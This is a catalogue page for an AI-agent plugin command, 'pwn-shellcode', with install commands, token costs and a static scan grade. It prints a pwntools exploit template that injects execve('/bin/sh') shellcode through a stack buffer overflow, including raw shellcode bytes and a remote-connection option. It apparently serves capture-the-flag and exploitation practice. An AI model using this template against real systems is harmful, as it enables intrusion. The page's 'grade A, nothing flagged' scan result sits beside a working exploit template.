Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add commands/allsmog/pwn-claude-plugin/pwn-shellcodegit clone --depth 1 https://github.com/allsmog/pwn-claude-pluginWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00015 | $0.00887 |
| Opus 5 | $0.00008 | $0.00443 |
| Sonnet 5 | $0.00003 | $0.00177 |
| Haiku 4.5 | $0.00002 | $0.00089 |
Grade A, and why
pwn-shellcode scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 135 lines — stays where its author put it; the contents beside it link to each section on GitHub.
PWN Shellcode - Shellcode Injection Template
Generate a shellcode injection exploit for binaries with executable stack.
Prerequisites
- NX must be disabled (executable stack)
- Need to know or leak buffer address
- No seccomp restrictions on execve
Generated Template
#!/usr/bin/env python3
"""
Shellcode Injection Exploit
Target: <binary>
Requirement: NX disabled (executable stack)
"""
from pwn import *
# === CONFIGURATION ===
BINARY = './<binary>'
OFFSET = <offset> # Offset to return address
# === SETUP ===
elf = ELF(BINARY)
context.binary = elf
context.arch = 'amd64' # or 'i386'
def conn():
if args.REMOTE:
return remote(args.HOST, int(args.PORT))
elif args.GDB:
return gdb.debug(BINARY, '''
b main
c
''')
else:
return process(BINARY)
def main():
io = conn()
# === SHELLCODE OPTIONS ===
# Option 1: pwntools shellcraft (recommended)
shellcode = asm(shellcraft.sh())
# Option 2: execve("/bin/sh", NULL, NULL) - x64
# shellcode = asm('''
# xor rsi, rsi
# xor rdx, rdx
# mov rdi, 0x68732f6e69622f
# push rdi
# mov rdi, rsp
# mov al, 59
# syscall
# ''')
# Option 3: Short /bin/sh shellcode - x64 (23 bytes)
# shellcode = bytes.fromhex('31f6f7e6526a68482f62696e2f2f7368545f6a3b580f05')
log.info(f"Shellcode length: {len(shellcode)} bytes")
# === FIND BUFFER ADDRESS ===
# Option 1: Fixed address (no PIE, no ASLR)
# buf_addr = 0x7fffffffe000 # Find via GDB
# Option 2: Leak address first
# io.recvuntil(b'buffer at: ')
# buf_addr = int(io.recvline(), 16)
# Option 3: Return to known writable section
# buf_addr = elf.bss() + 0x100
buf_addr = 0xdeadbeef # TODO: Set correct address
# === BUILD PAYLOAD ===
# Layout: [shellcode][padding][return to shellcode]
payload = shellcode
payload += b'A' * (OFFSET - len(shellcode))
payload += p64(buf_addr)
# Alternative: NOP sled for reliability
# nop_sled = asm('nop') * 100
# payload = nop_sled + shellcode
# payload += b'A' * (OFFSET - len(payload))
# payload += p64(buf_addr)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
main()
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 135 lines · 15 tokens per session scan A 9a08b8c9eecc
pwn-shellcode is a command published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 15 tokens to every session and 887 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
engage.actions
Execute Phase 7 - Actions on Objectives and Goal Achievement.
engage.scope
Execute Phase 0 - Scope Definition and Rules of Engagement.
engage.scorecard
Calibrate model verdict trust (Wilson-bounded miss-rate) to short-circuit re-validation.
notes
Maintain the ROOM BRAIN — the structured state file the coach reasons from.
enum-web
Enumerate a web service — cheap recon first, heavy scans only when they'll pay off.
web-recon
Subdomain / virtual-host / certificate recon (the DNS-side of web enum).